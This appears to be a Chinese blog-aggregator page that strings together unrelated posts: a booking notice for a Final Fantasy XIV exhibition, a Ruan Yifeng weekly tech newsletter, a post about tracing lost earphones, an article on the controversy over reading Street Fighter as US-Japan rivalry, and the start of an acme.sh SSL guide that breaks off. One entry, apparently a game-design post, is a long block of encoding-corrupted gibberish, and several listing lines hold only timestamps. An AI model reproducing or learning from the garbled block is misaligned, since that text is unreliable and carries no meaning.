活动现已开放预约，玩家可扫描下方二维码进入活动详情页面免费预约报名，无需购票。
每日名额有限，先到先得，部分日期场次已经约满
在本次《最终幻想14》国服十周年展览活动中，现场不仅为各位光之战士们准备了各类有奖互动小游戏与挑战环节，8月广州「Fanfest 2024」的部分道具也来到了博物馆中，具体活动详情见下方长图。
更多注意事项，请仔细阅读：
《最终幻想14》国服十周年展览活动时间为每个开馆日10:00-12:00，13:00-15:00，15:00-17:00。请于预约时段入场，迟到过久可能影响您的参观。
2.预约成功的观众可在小程序“我的”页面查看预约详情。
3.进入现场请出示“签到码”核销签到。请注意：活动签到时采用一人一码制，每一位到场参观的用户都需要预约获取签到码。
4.若因故无法按照预约时间参加活动核销二维码，请提前两天在小程序“我的”页面取消预约，爽约将影响您参与后续活动。
5.14岁以下儿童可在监护人在场情况下参观。
6.博物馆将会对现场活动进行照片采集、视频拍摄、或录音，其中可能出现您的肖像或言论。这些素材仅用于该活动相关报道，如介意可向现场工作人员提出。
7.现场展品均可拍摄，但请勿随意触碰、移动布置。
8.《最终幻想14》国服十周年展览活动预约不含常设展区参观项目，如有参观常设展区需求，请重新购买常设展区相关票种。
- 博客 61's life 2024-09-28 23:36:2124
- 博客 太隐 2024-09-28 09:26:33“爱在哪里就在哪里，都无妨了”
- 博客 太隐 2024-09-28 09:26:2026
- 博客 太隐 2024-09-28 09:25:17革命不是请客吃饭，不是做文章，不是绘画绣花，不能那样雅致，那样从容不迫，文质彬彬，那样温良恭俭让。革命是暴动，是一个阶级推翻一个阶级的暴烈的行动。
- 博客 61's life 2024-09-27 22:35:4928
- 博客 bboysoul的博客 2024-09-27 17:49:00
简介
每周五更新，所有的更新也会发送到我的频道
规则
- pre release的不记录
- 只记录重要的更新
- 上一版本版本的bugfix不记录，比如某一个项目最新版本是7.0.0 上一个版本6.0.0发布了一个bugfix 6.0.1 那么不会记录
- 比如lens发布了一个新版本，那么openlens也会发布一个新版本，此时只会记录lens发布的信息，不会记录openlens发布的信息
- 博客 见字如面 2024-09-27 16:29:27坦白来说，能够正儿八经对产品进行复盘的机会其实很难得。 熟悉我的朋友应该都知道，这两年对见字如面的更新频率总是没有以往频繁了，其实核心的原因我目前在一家 toB 行业的小程序平台里当产品负责人，平 …
- 博客 阮一峰的网络日志 2024-09-27 08:13:53
这里记录每周值得分享的科技内容，周五发布。（[通知] 下周十一假期，周刊休息。）
本杂志开源，欢迎投稿。另有《谁在招人》服务，发布程序员招聘信息。合作请邮件联系（yifeng.ruan@gmail.com）。
封面图
杭州古荡地铁站的出口处，出现了一只巨型"瑜伽熊猫"，它高6米，主要由海棠、景天、佛甲草、绿草四种植物打造而成。（via）
如何拍出爆款视频
MrBeast 是美国第一网红，可能也是世界第一网红。他是 Youtube 订阅者最多的频道，2024年9月拥有3.17亿粉丝。
他每个视频的拍摄成本至少100万美元，制作团队有250人，可想而知，他的视频收益多么可观。
他们公司的员工培训手册（下载地址1，2），最近流出了（下图）。
这是一个36页的 PDF 文件，是他本人写的，主要内容是告诉员工，如何在他的公司工作。
在第一页，MrBeast 要求员工熟读这本手册的每一句话，读完以后还要考试，通过者可以得到1000美元。
里面有很多 MrBeast 拍出爆款视频的经验总结，我觉得视频从业者必读，下面摘录几条。
（1）点击率 是最重要的指标，计算公式是点击视频封面缩略图的用户数量，除以看到缩略图的用户数量。
视频的标题（包括缩略图）决定了点击率，视频必须有一个吸引人的标题。
《我在家50个小时》是一个很蹩脚的标题，不会有人点击，改成《我吃了50个小时的番茄酱》，就会有点击。
然后，缩略图是一个人坐在满满一浴缸的番茄酱里面，就比一个人坐在前院，点击效果好得多。
一般来说，标题越极端越好，《我不喜欢香蕉》不如《香蕉是地球上最糟糕的食物》。
（2）观看时长 也很重要。Youtube 后台有详细图表，展示每个视频的观看时长百分比。
上图下方的曲线，就是视频在每个时点留存的观众百分比。可以看到，第一分钟最关键，留存的观众从100%快速下降到66%。
这就是说，三分之一的观众在第一分钟就放弃观看。上图的这个视频一共有6000万人次观看，但是在第一分钟我们就失去了2100万观众。
如果我们可以改善第一分钟，呈现更有趣的内容，可能就会少流失几百万人。第一分钟是每个视频最重要的一分钟。
（3）重新参与。视频的第1分钟告诉观众，他们会看到什么，然后从第1分钟到第3分钟开始疯狂推进故事。
假设有一个10分钟的视频，讲述一个人在树林里生存了几周。那么，前3分钟不要按部就班展示他每一天怎么过，而要让观众知道他已经生存了多日，唤起用户的情感和好奇心，想看看他能走多远。
这称为第三分钟重新参与，激发用户的兴趣，期待真正印象深刻的内容。
（4）视频的中段 是第3分钟到第6分钟，在这里可以规划所有最令人兴奋和有趣的内容，目标是让观众爱上这个故事、人物以及视频本身。
如果我们能让观众看完视频中段，他们就很有可能看到最后。通常在第六分钟，需要加入另一个非常有趣但需要更多解释的内容，让用户重新参与一次，将故事推动到后半部分。
（5）视频的后半段。一旦有人花了6分钟看这个视频，就表示对故事投入了极大的精力，很可能会坚持看到最后。
通常，不太有趣的内容会出现在视频的后半段，但是永远不要发出视频结束的信号，这样观众就不会关掉视频。
让观众坚持到最后的一个方法，就是保留悬念，比如看看谁能最后赢得10万美元，获胜者直到视频结束才揭晓。所以只要我们不让视频变得无聊得要死，人们很可能会坚持到最后。
另一个方法是阶梯式展示，比如《我买了世界上最大的烟花》这个视频一开始就展示了所有的烟花，然后点燃1美元的烟花，接着点燃10美元、50美元、75美元、1,000美元、10,000美元、40,000美元、100,000美元，最后点燃一个破世界纪录的烟花。
（6）总结。人们观看的时间越长，视频的效果就越好，这就是为什么我对每一秒都如此执着。
在视频开始时吸引观众，将内容变成一个令人惊叹的故事，让观众投入其中，没有沉闷的时刻，然后在视频结束时以突然的结局获得令人满意的回报。
科技动态
拆过手机的同学都知道，手机电池是用胶水固定的，非常难拆。
新推出的 iPhone 16 系列，采用一种新的电池拆卸机制，使得拆电池变得很容易。
拆开手机后，电池板下面有两个电极，用充电宝或电池（9V 或 12V）给它们通电。
大概一分钟后，电流就会使得胶水融化，从而顺利取下电池。
清除底板上残留的胶水，也变得容易，然后可以重新涂上胶水，把新电池换上去。
这种新的电池拆卸机制，以后应该会得到推广，提升智能手机的可维修性。
苹果的很多产品设计，都受到德国博朗（Braun）电器的启发。博朗曾经推出过一款时钟，苹果至今还未借鉴。
一位国外程序员突发奇想，能不能把 iPhone 改造成这样的时钟。
他用 3D 打印制作了一个支架。
然后，把 iPhone 放在里面，就成了一款漂亮的时钟。
3、5G 玻璃天线
传统的 5G 基站是下图这样，白色的外壳部分是天线。
这样的基站很引人注目，在市区也不容易找场地。
为了解决这个问题，一家日本公司最近宣布，开发了玻璃天线。
这种天线把导电材料与透明树脂混合，然后夹在两片玻璃之间，看上去就是普通的窗玻璃（注意顶部的导线）。
信号通过玻璃，传给基站。这种方法将建筑物的外墙玻璃，变成 5G 天线，从而大大方便了 5G 基站的部署。
4、其他
（1）安卓的平板电脑版本，将支持窗口功能，用户可以缩放和移动窗口。
文章
1、线性代数入门（英文）
一篇简短的文章，介绍矩阵的基本概念。
2、flex 布局的表单的一个问题（英文）
作者使用 flex 布局，放置表单的 input 控件时遇到的一个小问题。
3、关于 GNU Readline（英文）
很多人不了解，在 Linux 命令行输入命令时，有很多快捷键，比如 ctrl-a（回到行首）。它们都来自行编辑库 readline。
4、TCP 什么情况下不需要三次握手？（中文）
本文介绍 TFO 机制，可以在 TCP 第一个握手请求 SYN 时就发送数据。（@duanbiaowu 投稿）
5、使用 @layer 自制一个 CSS 框架（英文）
一篇 CSS 高级教程，介绍使用 @layer 指令，自己写一个 CSS 框架。
6、演唱会发光腕带的原理（英文）
作者拆了一个演唱会的发光腕带，解释它的工作原理。
7、我用 AdGuard Home 自托管 DNS（英文）
作者详细介绍，怎么使用开源软件 AdGuard Home，搭建自己的 DNS 服务器，彻底定制 DNS 规则。
工具
一个开源的跨平台视频剪切软件，目标是成为 FFmpeg 的图形前端。
一个很有创意的项目，将天气预报变成一幅画，
跨平台的桌面应用，用来管理容器，类似于 Docker Desktop。
一个简洁的博客、微博客系统，基于 PHP，自带安卓客户端。（@hefengbao 投稿）
一个在 ipfs 上写文章的极简发布工具，从网页输入文章发布到 ipfs。（@chenjia404 投稿）
一个开源的服务，监控网站是否正常在线，基于 Cloudflare Worker。
一个 JS/Python 库，使用 OpenAI 对 PDF 文件进行文字识别。
一个 JS 工具库，生成 V8 格式和 Istanbul 格式的测试覆盖报告。（@cenfun 投稿）
9、五子棋人机对战
开源的小游戏，网页五子棋人机对战。（@mumuy 投稿）
10、JSON For You
开源的 JSON 数据的在线可视化、处理工具。（@loggerhead 投稿）
11、Compress JPG
一个基于谷歌的 squoosh 算法、一次性压缩多张图片的网站。（@ethansunray 投稿）
12、git cliff
一个自动总结提交信息，生成 changelog 文件的命令行工具。
资源
1、今日三句半
一份每日更新的免费邮件列表，外网的热点科技新闻总结。（@tx2126 投稿）
一个开源的图标库，收录3000个图标，可以定制颜色、大小和格式。
3、APPLORE
这个网站收集了5000多个应用程序的图标，可以分类搜索。（@ViggoZ 投稿）
4、OpenAPI 使用手册（英文）
OpenAPI 是描述 API 的一种文件格式，这里有一本非官方的使用手册，详细记录了各个字段的用法。
图片
美国采用的是英制度量衡，而不是公制度量衡。其中的原因有一个传说。
1794年，法国通过了公制度量衡，确定了"米"作为长度单位，"克"作为重量单位。当时，一共制造了六件"米"原器和六件"千克"原器。
法国就派出一名使者，随身携带一件"米"原器和一件"千克"原器，准备交给美国国会。
但是，这位使者在路上遇到了海盗，连人带货都被抢走了，最后死在加勒比海的一个岛屿上面，原器也不知下落。
美国国会没有拿到新的度量衡，不得不继续采用英制度量衡，等到后来再想改，就为时已晚。
目前，美国 NIST 博物馆有一件"千克"原器，1952年由他人捐赠，捐赠人也不知道祖先从何得来，传说这就是被海盗抢走的那一件。
2、画廊涂鸦
香港巴塞尔艺术展展出了一位英国涂鸦艺术家的作品。
有意思的地方是，这位艺术家参观展厅以后，一时手痒，将布展地板和墙壁也一起画了。
文摘
英国科学家约翰·斯特拉特（1842--1919，又称瑞利男爵）是第一个计算分子大小的人。
人们很早就发现，油会在水面上形成一层油膜，让水面光滑如境。
1890年，瑞利男爵取了少量橄榄油，准确地说是0.81毫克，滴在水面上。橄榄油很快扩散开来，形成了一层极薄的油膜，他精确测量了油膜的面积。
他假设，油膜的厚度就是一个油分子，那么已知油膜的体积和面积，将体积除以面积，就可以算出油分子的大小。
计算结果是1.63纳米，这比其他测量分子大小的方法早了许多年，而且非常简单。
这个故事告诉我们，最简单的科学实验，不需要复杂的材料和仪器，只需要一滴油和科学头脑，有时候就可以得到深刻的科学见解。
瑞利男爵最出名的，并不是这个实验。他是第一个光的散射模型的发明者，解释了天空为什么是蓝色的，他还发现了惰性气体氩，并因此于 1904年获得诺贝尔奖。
言论
1、
OpenAI 的估值高达1500亿美元，很多人认为它不值这么多。（1）市场上有很多规模更小、价格更便宜的模型可供选择，部分是开源的。（2）随时可能有更突破的模型出现，取代它的位置。（3）OpenAI 很多员工离职，流动到其他公司。
-- 《经济学家》
2、
谷歌云宣布，将于2025年关闭 Google ContainerRegistry 服务，由一个名为 ArtifactRegistry 的新服务取代。
为什么谷歌云要关闭运行很好的老服务？我想不出理由，可能是因为新服务的价格比老服务贵10倍。
-- 《无法推荐谷歌云》
3、
Uber 打车的算法是，如果你的手机快没电了，它就会显示更高的价格。
4、
电影《侏罗纪公园》比任何学术论文都更能激发人们进入生物技术领域，《黑客帝国》激励了更多人进入计算机科学领域，《火星救援》激励了更多人进入航空航天工程领域。
科幻作品并不能预测未来，而是讲述令人信服的技术故事，让人们毕生致力于推进前沿技术。
-- Eliot Peper，美国小说家
5、
债务定义了你的未来，当你的未来被债务定义时，希望就开始破灭。
这就是债务的最大问题，它限制了你的人生选择和灵活性。
-- 肯特·纳伯恩（Kent Nerburn），美国作家
往年回顾
Unity 的安装费，游戏业的缩影（2023 #272）
四十年编程感想（2022 #222）
我们会死于气候灾难吗？（2021 #172）
谈谈互联网公司的高估值（2020 #122）
（完）
文档信息
- 版权声明：自由转载-非商用-非衍生-保持署名（创意共享3.0许可证）
- 发表日期： 2024年9月27日
- 博客 二丫讲梵 2024-09-27 05:30:13如要阅读全文，点击标题跳转。学习周刊-总第178期 | Kotatsu | AndroidNetworkTools | LogicFlow | quickemu | git_curate | taskcafe
- 博客 61's life 2024-09-26 23:22:3533
- 博客 Jason 2024-09-26 22:00:00
记录一下这件事吧。
上午 9 点左右，在公司楼下丢了耳机。11 点左右发现，去楼下已经找不到了。问了保洁、工作人员，也都说没找到、找到了联系我。
下午 3 点左右，苹果 Find My 提醒，耳机在 12 公里外上线。具体的，能定位到某个小区、几号楼、几单元。这时，基本可以确定，是被人捡走不还了。
第二天去物业查监控，找到了捡耳机的人。也报警了，警察说，如果有清晰的人脸，有可能找到人。可惜监控不清晰…
这里补充个细节，我打 110 之后，大概 1~2 分钟，警察就出现在我面前了，给这个速度点赞。
理论上讲，有大致清晰的人脸，肯定是能找到人的。即使不清晰，顺藤摸瓜，总是能找到的。只是，金额太小，不够立案，警察明显不上心。如果我是国际友人，可能已经拿到耳机了…
明天打算去耳机定位的单元贴张纸条，看捡到的人是否愿意归还。如果对方不还，到此为止，认倒霉。
另外，不要轻易干坏事，现在的监控、人脸识别这么厉害，要定位到人太容易了，只是愿不愿意、成本的问题。
再介绍下定位的细节。耳机本身是没办法上传位置的，应该是通过耳机周围的苹果设备上传的。而如果耳机未被使用、或耳机没电，自然无法上传位置。至于耳机能否被重置，我还不太了解。
- 博客 KAIX.IN 2024-09-26 12:08:11
工作起来虽然依旧感觉不吃力，说实话生意就那样而已原本就也累不着我，但是最近每天早上起床都感觉，经过一夜自认还算高质量的睡眠之后，竟然时常都恢复不到充沛昂扬的状态。不求如年轻时那般鲤鱼打挺一跃而起，但就连前些年伸个懒腰就能赶紧爬起来去做睡前已计划好的事的那种劲头，现在似乎也都消散无踪了。这就有些令我苦恼！妳想，这不就类似于打开手机的状态页面，猛然发现电池健康度已经不到 90% 了；一时间倒也说不上就有严重影响，但总归是不如以前了吧！
回看我的博客，想必会看到好多关于衰老的记录。今天发现这个地方变了，明天发现那个地方不如从前。呜呼，希望在我整理思绪写下这些问题的同时，也能获得些觉悟：如何去改善现状或者如何与之共存。
fin.
- 博客 游戏研究社 2024-09-26 11:45:00
前几个月，《刺客信条：影》的宣传片引起了日本玩家对文化挪用的激烈反抗。
最开始，日本玩家还只是为 “榻榻米被做成了正方形”“樱花与水稻同时出现”之类的文化常识错误感到冒犯。
然而随着全世界玩家对弥助的关注度上升，游戏又迎来更加戏剧性的“塌房”：所谓的“黑人武士”只是美国学者托马斯·洛克利（Thomas Lockley）学术造假，添油加醋制造出来的历史。关于此事，我们之前也有过详细报道。
托马斯同时也是《刺客信条：影》的历史顾问
最终结果当然是《刺客信条：影》在日口碑提前崩盘，托马斯删库跑路。然而始作俑者的消失，没能阻止舆论风波继续高涨。
请愿网站Change.org上有超过10万名日本玩家签署请愿书，要求育碧停止开发《刺客信条：影》，还把事件上报给了日本政府，试图召唤官方力量封杀游戏，可见怨念之深。
而另一方面，抛开《刺客信条：影》的口碑如何，这场“黑人武士”风波造成的文化影响还远未结束——
最近，另一位美国学者蕾切尔·哈钦森（Rachael Hutchinson）登上日本NHK电视台，在节目中将隆和肯比喻成日本和美国，大谈《街头霸王》中隐含的“日美对立”思想，再次让日本玩家从“美国专家”口中感受到一种自家历史被篡改的危机感，而不禁发出灵魂一问：
“该说和弥助的问题一模一样……还是说历史就是这么形成的？”
1
正式开始前，我们首先介绍一下这次引发舆论风暴的主角，蕾切尔·哈钦森。
作为特拉华大学现任副教授，蕾切尔的主攻方向是日本文化研究，平时在学校开设日语、文学、电影和电子游戏研究课程，也发表过大量解读日本文化的文章——从永井荷风的小说到手冢治虫的漫画，从黑泽明的电影到小岛秀夫的游戏，涉猎广泛。
2020年，蕾切尔出版了著作《通过电子游戏读懂日本文化》（Japanese Culture Through Videogames），在书评网站Goodreads上评分颇高。
也就是说，无论从履历、学术实践成果还是影响力来看，蕾切尔都算是对日本流行文化研究颇有建树的学术精英。
而她参加的，也是日本NHK电视台老牌人文纪实节目《世界亚文化史》，主要内容是通过纪录片和一些史料追踪电影、音乐、街头潮流等亚文化的变迁，邀请不同专家解读当年的社会思潮和时代意识。
两个月前，NHK公布了“《世界亚文化史》游戏篇”特别企划，并且得到了《Fami通》和4Gamer等一众游戏媒体的报道。从当时的留言来看，日本玩家普遍对这个姗姗来迟、终于将聚光灯打到自家门口的“游戏篇”颇为期待。
NHK+是NHK旗下流媒体平台
然而，“喜欢的节目做了自己感兴趣的专题”“在这一领域颇有建树的专家参与了节目”，两件本该快乐的事情重合在一起，却没有给日本玩家带来梦境一般的幸福。
在 “《世界亚文化历史》游戏篇”第3回，蕾切尔发表了她的“从《街霸》读懂80年代美日关系”理论。
总结来说， 蕾切尔先是介绍了一遍1980年代的时代背景，像是日本经济快速发展，日本的电子产品、汽车以及金融业迅速攻占美国市场；还有美国经济衰退，美国国内爆发空前的反日情绪，出现激烈的抵制日货、打砸日本车行为等等。
蕾切尔认为，在这种国际形式下诞生的《街霸》系列，很多元素影射了现实世界，尤其是隆和肯身为同门师兄弟，但在设定中却是劲敌和对手，就正好隐含了“日美二元结构”的思想。
末了，她还补充了一句：“当使用（美国人）肯和（日本人）隆对战时，每个玩家都能从中感受到美日对抗的氛围。”
只不过电视里的蕾切尔说得若有其事，电视外的日本玩家倒是生气了。抛开当时的开发组有没有表达这种意识形态不谈，光是“每个玩家都能感受到美日对抗的氛围”就让一些玩家感觉自己莫名其妙成了“专家”的背书道具。节目片段被发在推特后，蕾切尔立刻被网友从里到外问候了个遍。
而更多的日本玩家则是一头雾水：“这人到底在说什么啊？
2
“这人到底在说什么啊”，是看完节目之后大多数日本玩家的反映，大伙普遍搞不明白蕾切尔所谓“《街头霸王》系列隐含了日美对立思想”的论点到底是怎么得出来的。
在日本网友看来，1980年代美国国内的确出现过抵制日货、打砸日本车的行为，《街霸》系列也确实包含带有“JAPAN”车牌的丰田雷克萨斯被砸到只剩底盘的奖励环节，但因此就得出《街霸》隐含了日美对立思想未免有些“倒果为因”。
按照大家的说法，如果开发组真的有意体现对立思想，那奖励环节砸的至少应该是一辆美国车才对。
某种程度上，《街霸6》可能是系列中最能体现“日美对立”思想的游戏
另一方面，《街霸2》也不是在游戏里砸车的始作俑者，在卡普空1989年推出的横版清关游戏《快打旋风》（Final Fight，亦作“街头快打”）中，玩家通过第二关后也会进入一个砸车小关卡，《街霸》系列显然是继承了这个环节。但蕾切尔对此只字不提，只谈《街霸》系列，很难不让日本网友品出一种“专家随手挑了一个名气大的游戏出来背锅”的味道。
《快打旋风》的砸车关卡
至于蕾切尔提到的，“能让每个玩家感受到美日对抗的氛围的日本人隆和美国人肯”则更让日本玩家摸不着头脑，不少亲历过80年代的网友现身说法，表示当时大家都称呼肯是“染发2P男”，除此之外没有任何其他理解。
还有网友拿出了自己拍摄的《街霸》开发手稿，设定资料显示，作为看板人物的隆和每个角色都存在一定的对立关系。比如维嘉是“拥有权利的人”，隆是“向往自由的人”；达尔西姆是“为他人而战”，隆是“为自己而战”；巴尔洛克“没有自我意识”，而隆是“自我意识强烈的人”。
至于肯和隆之间的对应关系，则是“合乎常情的人”与“追求武道的狂人”。而这些对立不过是为了体现角色差异、为游戏内容服务的设定。至于蕾切尔提到的“日美对立”思想，显然没有任何支撑资料。
除开忿忿不平的玩家，一些80年代曾在业内活跃的相关者也加入了这场争论，他们的观点基本和大多玩家想法相同。比如前日本最大游戏杂志《Fami-Maga》（现已停刊）的编辑就表示，之前他自己也和卡普空内部讨论过这件事，但事实是游戏中根本没有这种设定。
事情发展至此，日本网友差不多也得出了结论：我们国家参与游戏开发的制作人和开发商可从来没有证实过游戏里有这种设定，所谓的学者却把个人观点当成史实向全世界宣传，这事不就跟弥助事件一模一样吗？
3
只是这件事继续深挖，还是超出了日本网友的想象。
随着事件发酵，不少人翻出一些美国出版的日本电子游戏研究相关书籍，发现“隆和肯象征着日美关系”的说法实际上有着相当一部分支持群体。
比如在2017年出版的《100个最伟大的电子游戏角色》（100 Greatest Video Game Characters）中，“隆”的章节就提到了“隆和肯之间的关系反映了当时日本和美国之间的国际关系。”
只不过和蕾切尔不同的是，本书作者反而认为“日本通过塑造肯这个角色拥抱了曾经占领和蹂躏自己的敌人，隆和肯并不是真的想要击败对方，双方只是在竞争中变得更强大”——你很难说这番论调和蕾切尔相比，究竟哪个更让日本人破防。
当然，蕾切尔在这次节目中表达的观点也算老调重弹，她之前的文章里已经洋洋洒洒不止一次陈述过隆和肯的二元对立关系。乃至放眼美国学术圈，“隆和肯的关系代表80年代的美日关系”差不多已经快成了美国电子游戏研究中的既定理论。
更让人头疼的是，尽管参与游戏开发的制作人和开发商从来没有证实过这种设定，但发表相关论述的学者普遍会持有一种“玩家是这么感觉的”的论据，一旦观点开始传播起来，就连开发商也很难拿出能够证伪的材料——毕竟，证明一件事情绝对没有发生过实在是太难了。
就算所有玩家里只有一个人这么想，发表观点的人也已经占领了“先说先赢”的高地。
过去，这样的论调当然有大概率也曾进入过日本玩家的视野，但却未爆发过如此程度的舆论风暴，或许是缺少一些“东风”，或许是大多数玩家不以为意。
而如今舆论接连爆发，说是弥助事件铺垫的气氛也好，说是东方玩家被误读太久之后的集体反弹也罢，无论如何，都已经成为了对游戏行业具有影响的文化事件。
《刺客信条：影》的战争或许已经暂时告一段落，但电子游戏领域的跨文化交流危机看上去正在变得越来越频繁——“美国专家”们成了今年第一批为此买单的人，但显然不会是最后一个。
- 博客 张鑫旭-鑫空间-鑫生活 2024-09-26 00:04:18
最近Chrome进行了第4批CSS数学函数的支持，包括mod()/rem()/round()，其中round()函数尤为的实用。 - 博客 61's life 2024-09-25 18:53:2338
- 博客 61's life 2024-09-24 22:19:2339
- 博客 bboysoul的博客 2024-09-24 19:19:00
- 博客 西秦公子 2024-09-24 08:42:46作为一个互联网爱好者，每天上网不断的浏览内容是我的日常，从 Twitter 到 RSS，从飞书文档到微信公众号 […]
- 博客 卢昌海的个人主页 2024-09-24 05:38:00站长撰写的丘成桐自传的读后
- 博客 bboysoul的博客 2024-09-24 01:25:00
简介
在某些场景中，我们可能需要为开发人员创建一个带有特定权限的 kubeconfig 文件，以便他们能够访问 Kubernetes 集群。本文将详细介绍如何创建一个具备指定权限的 kubeconfig。
- 博客 61's life 2024-09-23 17:09:1644
- 博客 云风的 BLOG 2024-09-23 16:47:19
�����û��дʲô�����³�ͣ����ͷ�Ŀ�������������һ��ʱ�䣬��Ϊ Indieplay ��ί������ 200 �����ѡ��Ϸ�е� 100 ��������������֮ͣ���ҾͶ�ǰ�����¶��Լ���������Ϸ�����������ɻ���Ȼд�˲��ٴ��룬�������ڻ����淨�����ڹ��ܣ���ʵ����һ�������Ʊ�Ե�����ȱ����Ĺ���ϵͳ����С�˿����ڳ����л�������ɼ����ʣ����轨�����û�������ͨ�ϵ���ת��������ԭ�ϼӹ�Ϊ��Ʒ������Щ�ƺ�ֻ��һ��ģ����̣���������Ϸ��
�Ҹо��Լ�����Ϸ������չ����������Ϸ����û����������ʶ����Ȼ����ƪ�ɷ��� Ҳ�ᵽ����ȱ�����������ǣ���ϣ��������Ϸ������һ�����ŵģ���Ȼ�ģ�ģ��֮�ϡ������Ҿ���ģ��Ͼ�������Ϸ�����Ը�����ṩ�ḻ����Ϸ���顣����˵�����ٶ�������������ң�û����������ϷĿ�����ս�Dz��еġ����ң�ʵ��һ���ḻ����Ϸ����ģ�����ٵ���ս�����ڻ��������������ڵ��£��ⲻ�������������Ķ�����
�Ҹ���Ϸ���µĻ����ǻ��ؽ����������ս���ͣ�����Ӧ����һЩ��Դ������ Roguelike Ԫ�ء����˹������Զ���Ԫ�����ұȽ�ϲ���ģ��������ǧСʱ������Ϸ���Ҹо���ЩԪ��ֻ�Ǹ�����������һ���ֶΣ�����Ŀ�ġ�������ij���ض��淨������Ҳ����Ȥ��������ȴ����ྶͥ��
���磬������»��˲���ʱ���� Shapez 2 ������һ�����Զ�������������Ϸ����Ҳ�����Ҫ������Դ������ɱ������⣬Ҳû�еж�������ֻ��Ҫר���̹������о���ΰѹ�����ģ����������Ч������������� Factorio �ص����Ӻ�Ҳ���ڸ�����£�����������������ʵ�Dz�ͬ�ġ�������������Զ����滮��Shapes ��Ȼ��������Ȥ��������Ϸ������˵���Ҹ�ϲ�� Factorio һ�㡣
�һ����˼��� The Crust �������Ϸ���ҵ�Ը��������˺ܾã�һ�����Ϳ�ʼ���ˡ���������һ�� Factorio �� Rimworld �Ļ���塣ǰ�벿���кܴ�� Factorio �ɷ֣��浽ʮ��Сʱ֮���ֲ�����ֳ��ع������˷�����淨��Ŀǰ������ EA �Σ��о��ܶණ������̫���졣����������ɲ�����˵���Ҳ����ر�ϲ���������Զ����������Դֲڣ�ֳ��ع����������ƺ���̫���ơ��ؼ��ǽ�������dz���⣨��Ҫ��ĥ�����Ƽ�����ƽ�����һ���Ѿ��������ֲ��� Factorio ������һ����ʵ����Ϸ�ںˣ�����ͨ�� Mod ������չ�淨�����������������������ƺõij������ƶ���
�����һ��������ʧ������Ϸ�� Frostpunk 2 ��һ��������ϲ������Ϸ֮һ����� 2 �ĺ����������ǰ 3 ������Ϸ�����Ȳ��������µ��ˡ�����һ��ʱ�����ͨ�ء��������Ϸ���кܴ�ɷ����������˼��������Ļ��ؽ�����Ϸ��������ơ����û��һ��������ǰ����Ҳ���Dz����ˡ���ϧ���һ����������dz���ͬ������һ��������Ԥ��ؿ������Ļ��ؽ�����Ϸ����ģʽ�Ƚ���Ȥ����սԤ��籾���һ����Ȥ����Ҫ��Դ��ʧ������ս��ѭ����������һ���л��˼�ʮ�ϰ�Сʱ����һ�������˺��Ĺ�������ͨ����Ҿ��������¡�������ص����飬ר�Ŀ��������߸�����ֵ����Ϸ����̫�ѣ���һ��һ����ֻ��Ҫ���ٷ�չ�Ƽ����ر���Щ���������϶��������ѡ�����ü������������ܴﵽ���Ž⡣��εĶ��������ú��ȥ����һ�����Ӱ��Ź��˵��۹���������Ϸ������������ Excel �����еĸ��ֽ������������Ҹо����鲻��һ����
��ǰ���ᵽ�� The Crust һ���������ϷҲ�г���ͬ����Ϸƽ��ˮƽ�Ļ���������������Ϸӵ�еĸ��ʷ�����������֮ǰ�͵������ڴ��֣��ҵ����ֱ������ÿ�ζ��ǶԵġ������Ϸ������������Ҹ��õ�������Ϸ�ں����Ǿͺ������塣���� Frostpunk 2 ����Ҹ�������Ҫ��ע����Ľ���ϸ�ڣ���ô��Ϸ���澫ϸ�Ŀ̻������������˷ѿ����ɱ�����Ҹ���עÿ�������״̬���ܣ��治��ֱ�Ӹ�ÿ������������ɫ���ˡ�������Ĭ�ϵĻ��棬����ȥ�������ǰ�ããһƬ���ؼ���������ʹ��ס Alt �Գ���������û�����ֶȡ������ڣ�����и��ı������������ڵĻ�������ǿ��������������Ҳ���������
���������� Minimalist ������Ϸ�ر��кøС�û�л���ӳɣ���������Ϸ���ע����������Ϸ����ϡ�һ�������淨���ڣ��ͺ��ѱ��ڸǡ�����Ҳ����������Ϸ�����з��ģ������ע�ر�����Ϸ����ѧϰ�ɱ�ͨ�����͡����磬��ǰ��������һ��������Ϸ����������������У������������� ��Ϊ��Ȥ��
�����ıȽ϶����һ��������Ԫ�ص���Ϸ�� Drill Core ���Ҹо����ܵ��� Dome Keeper �������������������Ŀǰ�� steam �������У������ฺ�����ۼ������ھ����������Դ�������ʧ��������˺�������һ����������ʮСʱ����������Щ����ƺõ��淨������Ϸ�ص�֮һ�������ھ��������������ʯ�����顢���˵ĵ�����������ͨ�������Ĺ滮���ܿ�����Ϸ�ƺ�������Ƴ�������Ե���������ָ�����ͨ������������������ȼ��ķ�ʽ���ּ�ӵķ�ʽ���ƹ��˵���Ϊ���ڳ���˽������ⷴ����һ����ս��ֻ�����������ֽ�����ʽ�������ޣ��������ֲ���ȷ��������ʱ����Ƚ���⡣���۹���Ϊ������Ϸ�У������Ҫ����ʵ��ȷ���Թ��������ܵ� AI δ���Ǻ��¡����������ȥ����ƹ�������Ϸ��ѧ���ģ���Ϊ��Ϊ�ֻ���Ƶ�Ե�ʣ��������ֻ��IJ��㽻��������ȥ���˴��ʹ�����ʹ�ø����ܵ����˻���Ӫ���������ܹ������������е����ȷ���ԣ�����û�д��ʹ�����ȷ����������ˡ�
����Դ����IJ�ȷ����Ҳδ���ǻ��¡���Χ������Ե���Ϸ����Ӧ���ǽ̻���������չ�������������ϲ���� Roguelike Rogue's Tale ��������һ�����չ�����Ϸ�����������������һ����������������̫ǿ����Ϸ���� Derelict_Void ���һ�û��ô�棬��ʱ�������ۡ���ע������Ϊ�����Ϸ�ƺ���������Ŀǰ��������Ϸ�ĸ���Ԫ�أ�̫�����桢���ؽ��衢��Դ�������� ���������ܵ������һ����Ϸ OutThere ���������ڷdz�������Դ̽�����棬�����ܵĻ��һ��Ŀ�ĵء������Ҫ�dz�С�ĵ�ƽ��������ˮ���л��ȼ�ϵ�ʹ�ã�����������������Ĵ�Ա��û�к͵ж�������ս������ FTL ������������Ȼ�м��������ѹ����
- 博客 bang's blog 2024-09-23 11:58:48AIGC 图片生成的技术，基本是22年开始爆发，Midjourney 2022年7月推出，Stable Dif […]
- 博客 oldj's blog 2024-09-23 10:57:00
之前很长一段时间，这个博客一直在用云服务商提供的免费 SSL 证书，那个证书有一年有效期，也即一年只需要申请部署一次，因此全手动操作也不算麻烦，但现在免费 SSL 证书的有效期统一缩短为 3 个月了，意味着每 3 个月就要操作一次，这就让手动申请和部署变得麻烦起来了。
最近，我尝试了一下使用 acme.sh 申请 SSL 证书的方法，确实方便了不少，在这里记录一下。
安装 acme.sh
